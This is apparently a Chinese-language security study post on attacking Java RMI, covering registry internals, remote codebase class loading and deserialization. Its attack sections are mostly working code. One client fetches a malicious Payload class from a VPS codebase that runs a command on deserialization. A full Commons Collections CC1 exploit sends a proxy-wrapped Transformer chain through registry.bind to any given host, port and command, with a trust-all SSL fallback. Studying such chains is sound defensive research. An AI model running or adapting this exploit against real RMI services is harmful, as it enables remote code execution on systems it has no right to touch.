0x01 前言

RMI(Remote Method Invocation)即Java远程方法调用,RMI用于构建分布式应用程序,RMI实现了Java程序之间跨JVM的远程通信。由于RMI之间的调用是通过序列化和反序列化进行的,如果主机存在相应的pop链,那就可以构造攻击链对RMI服务进行攻击。
RMI分为三大部分:ServerClientRegistry

  • Server:远程调用方法对象的提供者,是代码真正执行的地方,执行结束会返回给客户端方法执行结果。
  • Client:调用远程的对象。
  • Registry:本质就是一个map,相当于是字典一样,用于客户端查询要调用的方法的引用。

    RMI实例

    服务端定义一个接口,接口需要继承java.rmi.Remote接口 ```java import java.rmi.Remote; import java.rmi.RemoteException;

public interface RMIMethodInterface extends Remote { public String hello() throws RemoteException; }

  1. 服务端实现该接口
  2. ```java
  3. import java.rmi.RemoteException;
  4. import java.rmi.server.UnicastRemoteObject;
  5. public class RMIMethodImpl extends UnicastRemoteObject implements RMIMethodInterface {
  6. protected RMIMethodImpl() throws RemoteException {}
  7. @Override
  8. public String hello() throws RemoteException {
  9. return "Hello RMI~";
  10. }
  11. }
  1. 服务端注册该接口到RMI服务
  1. import java.rmi.Naming;
  2. import java.rmi.registry.LocateRegistry;
  3. public class RMIServer {
  4. // RMI服务器IP地址
  5. public static final String RMI_HOST = "127.0.0.1";
  6. // RMI服务端口
  7. public static final int RMI_PORT = 9527;
  8. // RMI服务名称
  9. public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/test";
  10. public static void main(String[] args) {
  11. try {
  12. // 注册RMI端口
  13. LocateRegistry.createRegistry(RMI_PORT);
  14. // 绑定Remote对象
  15. Naming.bind(RMI_NAME, new RMIMethodImpl());
  16. System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
  17. } catch (Exception e) {
  18. e.printStackTrace();
  19. }
  20. }
  21. }
  1. 客户端调用远程调用方法,客户端也需要存在RMIMethodInterface.class文件,与服务端一致
  1. import java.rmi.Naming;
  2. public class RMIClient {
  3. public static void main(String[] args) {
  4. try {
  5. // 查找远程RMI服务
  6. RMIMethodInterface rt = (RMIMethodInterface) Naming.lookup("rmi://127.0.0.1:9527/test");
  7. // 调用远程接口RMIMethodInterface类的hello方法
  8. String result = rt.hello();
  9. // 输出RMI方法调用结果
  10. System.out.println(result);
  11. } catch (Exception e) {
  12. e.printStackTrace();
  13. }
  14. }
  15. }

对服务端代码(jdk8u202)进行调试,关键方法为rt.jar!\sun\rmi\registry\RegistryImpl_Skel.class#dispatch方法:
image.png
该switch语句对应rmi不同的操作,服务端绑定对象时传入的var3=0,客户端发起lookup调用时var3=2。

  • 0->bind
  • 1->list
  • 2->lookup
  • 3->rebind
  • 4->unbind

    0x02 RMI加载远程codebase

    RMI中也存在远程加载的场景,也会涉及到codebase。 codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类,有点像我们日常用的 CLASSPATH,但CLASSPATH是本地路径,而codebase通常是远程URL,比如http、ftp等。 如果我们指定 codebase=http://example.com/ ,然后加载 org.vulhub.example.Example 类,则 Java虚拟机会下载这个文件 http://example.com/org/vulhub/example/Example.class ,并作为 Example类的字节码。 RMI的流程中,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化时,就会去寻 找类。如果某一端反序列化时发现一个对象,那么就会去自己的CLASSPATH下寻找想对应的类;如果在 本地没有找到这个类,就会去远程加载codebase中的类。

需要满足以下两个条件:

  • 安装并配置了SecurityManager
  • Java版本低于7u21、6u45,或者设置了 java.rmi.server.useCodebaseOnly=false。其中 java.rmi.server.useCodebaseOnly 是在Java 7u21、6u45的时候修改的一个默认设置。

RMI服务端代码如下:

  1. // ICalc.java
  2. import java.rmi.Remote;
  3. import java.rmi.RemoteException;
  4. import java.util.List;
  5. public interface ICalc extends Remote {
  6. public Integer sum(List<Integer> params) throws RemoteException;
  7. }
  8. // Calc.java
  9. import java.rmi.Remote;
  10. import java.rmi.RemoteException;
  11. import java.util.List;
  12. import java.rmi.server.UnicastRemoteObject;
  13. public class Calc extends UnicastRemoteObject implements ICalc {
  14. public Calc() throws RemoteException {}
  15. public Integer sum(List<Integer> params) throws RemoteException {
  16. Integer sum = 0;
  17. for (Integer param : params) {
  18. sum += param;
  19. }
  20. return sum;
  21. }
  22. }
  23. // RemoteRMIServer.java
  24. import java.rmi.Naming;
  25. import java.rmi.Remote;
  26. import java.rmi.RemoteException;
  27. import java.rmi.registry.LocateRegistry;
  28. import java.rmi.server.UnicastRemoteObject;
  29. import java.util.List;
  30. public class RemoteRMIServer {
  31. private void start() throws Exception {
  32. if (System.getSecurityManager() == null) {
  33. System.out.println("setup SecurityManager");
  34. System.setSecurityManager(new SecurityManager());
  35. }
  36. Calc h = new Calc();
  37. LocateRegistry.createRegistry(1099);
  38. Naming.rebind("refObj", h);
  39. }
  40. public static void main(String[] args) throws Exception {
  41. new RemoteRMIServer().start();
  42. }
  43. }
  44. // client.policy
  45. grant {
  46. permission java.security.AllPermission;
  47. };

服务端执行命令:

  1. javac *.java
  2. java -Djava.rmi.server.hostname=127.0.0.1 -Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=client.policy RemoteRMIServer

RMI客户端代码如下:

  1. import java.rmi.Naming;
  2. import java.util.List;
  3. import java.io.Serializable;
  4. public class RMIClient implements Serializable {
  5. public void lookup() throws Exception {
  6. ICalc r = (ICalc) Naming.lookup("rmi://127.0.0.1:1099/refObj");
  7. List<Integer> li = new Payload().new Exp();
  8. li.add(3);
  9. li.add(4);
  10. System.out.println(r.sum(li));
  11. }
  12. public static void main(String[] args) throws Exception {
  13. new RMIClient().lookup();
  14. }
  15. }
  1. import java.io.IOException;
  2. import java.io.ObjectInputStream;
  3. import java.io.Serializable;
  4. import java.rmi.server.UnicastRemoteObject;
  5. import java.util.ArrayList;
  6. import java.rmi.RemoteException;
  7. public class Payload extends UnicastRemoteObject {
  8. public class Exp extends ArrayList<Integer>{
  9. private void readObject(ObjectInputStream s) throws IOException,RemoteException {
  10. Runtime.getRuntime().exec("calc");
  11. }
  12. }
  13. Payload() throws RemoteException{};
  14. }

客户端执行命令:

  1. javac *.java
  2. // 然后将Payload.classPayload$Exp.class放到VPS
  3. // 测试不加 -Djava.rmi.server.useCodebaseOnly=false 参数也可以
  4. // 理论上client应该可以不需要该参数
  5. java -Djava.rmi.server.codebase=http://vps.ip:vps.port/ RMIClient

image.png

0x03 RMI反序列化

可以通过构建一个恶意的Remote对象,这个对象经过序列化后传输到服务器端,服务器端在反序列化时候就会触发反序列化漏洞。这里构建一个恶意的Remote对象并通过bind请求发送给服务端,实际使用的利用链CC1。
客户端代码如下:

  1. import org.apache.commons.collections.Transformer;
  2. import org.apache.commons.collections.functors.ChainedTransformer;
  3. import org.apache.commons.collections.functors.ConstantTransformer;
  4. import org.apache.commons.collections.functors.InvokerTransformer;
  5. import org.apache.commons.collections.map.LazyMap;
  6. import javax.net.ssl.SSLContext;
  7. import javax.net.ssl.SSLSocketFactory;
  8. import javax.net.ssl.TrustManager;
  9. import javax.net.ssl.X509TrustManager;
  10. import java.io.IOException;
  11. import java.lang.reflect.Constructor;
  12. import java.lang.reflect.InvocationHandler;
  13. import java.lang.reflect.Proxy;
  14. import java.net.Socket;
  15. import java.rmi.ConnectIOException;
  16. import java.rmi.Remote;
  17. import java.rmi.registry.LocateRegistry;
  18. import java.rmi.registry.Registry;
  19. import java.rmi.server.RMIClientSocketFactory;
  20. import java.security.cert.X509Certificate;
  21. import java.util.HashMap;
  22. import java.util.Map;
  23. public class RMIClientTest {
  24. // 定义AnnotationInvocationHandler类常量
  25. public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
  26. /**
  27. * 信任SSL证书
  28. */
  29. private static class TrustAllSSL implements X509TrustManager {
  30. private static final X509Certificate[] ANY_CA = {};
  31. public X509Certificate[] getAcceptedIssuers() {
  32. return ANY_CA;
  33. }
  34. public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
  35. public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
  36. }
  37. /**
  38. * 创建支持SSL的RMI客户端
  39. */
  40. private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
  41. public Socket createSocket(String host, int port) throws IOException {
  42. try {
  43. // 获取SSLContext对象
  44. SSLContext ctx = SSLContext.getInstance("TLS");
  45. // 默认信任服务器端SSL
  46. ctx.init(null, new TrustManager[]{new TrustAllSSL()}, null);
  47. // 获取SSL Socket连接工厂
  48. SSLSocketFactory factory = ctx.getSocketFactory();
  49. // 创建SSL连接
  50. return factory.createSocket(host, port);
  51. } catch (Exception e) {
  52. throw new IOException(e);
  53. }
  54. }
  55. }
  56. /**
  57. * 使用动态代理生成基于InvokerTransformer/LazyMap的Payload
  58. *
  59. * @param command 定义需要执行的CMD
  60. * @return Payload
  61. * @throws Exception 生成Payload异常
  62. */
  63. private static InvocationHandler genPayload(String command) throws Exception {
  64. // 创建Runtime.getRuntime.exec(cmd)调用链
  65. Transformer[] transformers = new Transformer[]{
  66. new ConstantTransformer(Runtime.class),
  67. new InvokerTransformer("getMethod", new Class[]{
  68. String.class, Class[].class}, new Object[]{
  69. "getRuntime", new Class[0]}
  70. ),
  71. new InvokerTransformer("invoke", new Class[]{
  72. Object.class, Object[].class}, new Object[]{
  73. null, new Object[0]}
  74. ),
  75. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command})
  76. };
  77. // 创建ChainedTransformer调用链对象
  78. Transformer transformerChain = new ChainedTransformer(transformers);
  79. // 使用LazyMap创建一个含有恶意调用链的Transformer类的Map对象
  80. final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
  81. // 获取AnnotationInvocationHandler类对象
  82. Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);
  83. // 获取AnnotationInvocationHandler类的构造方法
  84. Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
  85. // 设置构造方法的访问权限
  86. constructor.setAccessible(true);
  87. // 实例化AnnotationInvocationHandler,
  88. // 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, lazyMap);
  89. InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
  90. // 使用动态代理创建出Map类型的Payload
  91. final Map mapProxy2 = (Map) Proxy.newProxyInstance(
  92. ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, annHandler
  93. );
  94. // 实例化AnnotationInvocationHandler,
  95. // 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, mapProxy2);
  96. return (InvocationHandler) constructor.newInstance(Override.class, mapProxy2);
  97. }
  98. /**
  99. * 执行Payload
  100. *
  101. * @param registry RMI Registry
  102. * @param command 需要执行的命令
  103. * @throws Exception Payload执行异常
  104. */
  105. public static void exploit(final Registry registry, final String command) throws Exception {
  106. // 生成Payload动态代理对象
  107. Object payload = genPayload(command);
  108. String name = "test" + System.nanoTime();
  109. // 创建一个含有Payload的恶意map
  110. Map<String, Object> map = new HashMap();
  111. map.put(name, payload);
  112. // 获取AnnotationInvocationHandler类对象
  113. Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);
  114. // 获取AnnotationInvocationHandler类的构造方法
  115. Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
  116. // 设置构造方法的访问权限
  117. constructor.setAccessible(true);
  118. // 实例化AnnotationInvocationHandler,
  119. // 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, map);
  120. InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, map);
  121. // 使用动态代理创建出Remote类型的Payload
  122. Remote remote = (Remote) Proxy.newProxyInstance(
  123. ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, annHandler
  124. );
  125. try {
  126. // 发送Payload
  127. registry.bind(name, remote);
  128. } catch (Throwable e) {
  129. e.printStackTrace();
  130. }
  131. }
  132. public static void main(String[] args) throws Exception {
  133. if (args.length == 0) {
  134. // 如果不指定连接参数默认连接本地RMI服务
  135. args = new String[]{"127.0.0.1", String.valueOf("9527"), "calc.exe"};
  136. }
  137. // 远程RMI服务IP
  138. final String host = args[0];
  139. // 远程RMI服务端口
  140. final int port = Integer.parseInt(args[1]);
  141. // 需要执行的系统命令
  142. final String command = args[2];
  143. // 获取远程Registry对象的引用
  144. Registry registry = LocateRegistry.getRegistry(host, port);
  145. try {
  146. // 获取RMI服务注册列表(主要是为了测试RMI连接是否正常)
  147. String[] regs = registry.list();
  148. for (String reg : regs) {
  149. System.out.println("RMI:" + reg);
  150. }
  151. } catch (ConnectIOException ex) {
  152. // 如果连接异常尝试使用SSL建立SSL连接,忽略证书信任错误,默认信任SSL证书
  153. registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
  154. }
  155. // 执行payload
  156. exploit(registry, command);
  157. }
  158. }

image.png
这里推测是调用registry.bind()需要传入参数为Remote类型,所以需要使用动态代理创建出Remote类型的payload,关于动态代理还需要补充记录。
image.png

0x04 相关问题

  1. Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons.

在2015年底commons-collections反序列化利用链被提出时,Apache Commons Collections有以下两个分支版本:

  • commons-collections:commons-collections
  • org.apache.commons:commons-collections4

前者是Commons Collections老的版本包,当时版本号是3.2.1。
后者是官方在2013年推出的4版本,当时版本号是4.0。
Apache Commons Collections官方在2015年底得知序列化相关的问题后,就在两个分支上同时发布了新的版本,4.1和3.2.2。在3.2.2上,新版本增加了一个方法FunctorUtils#checkUnsafeSerialization用来检测序列化是否安全。这个检查在常见的危险Transformer类(InstantiateTransformer、 InvokerTransformer、PrototypeFactory、CloneTransformer 等)的 readObject 里进行调用,所以,当我们反序列化包含这些对象时就会抛出一个异常。这里下载3.2.1版本的commons collections并添加到依赖。在4.1里,这几个危险Transformer类不再实现 Serializable 接口,也就是说,这几个类彻底无法进行序列化和反序列化了。
image.png

  1. java.rmi.ServerException:RemoteException occurred in server thread

这个问题与jdk版本有关系,RegistryImpl.checkAccess("Registry.rebind")在检查rebind()的源IP是否是本机。如果不是,流程不会去readObject()。从8u141就已经设置了源IP检查。
8u202(左)与8u5(右):
image.png image.png
image.png

参考:
[1] https://www.cnblogs.com/chengez/p/CommonCollections2_4.html
[2] https://www.cnblogs.com/nice0e3/p/13927460.html
[3] https://xz.aliyun.com/t/6660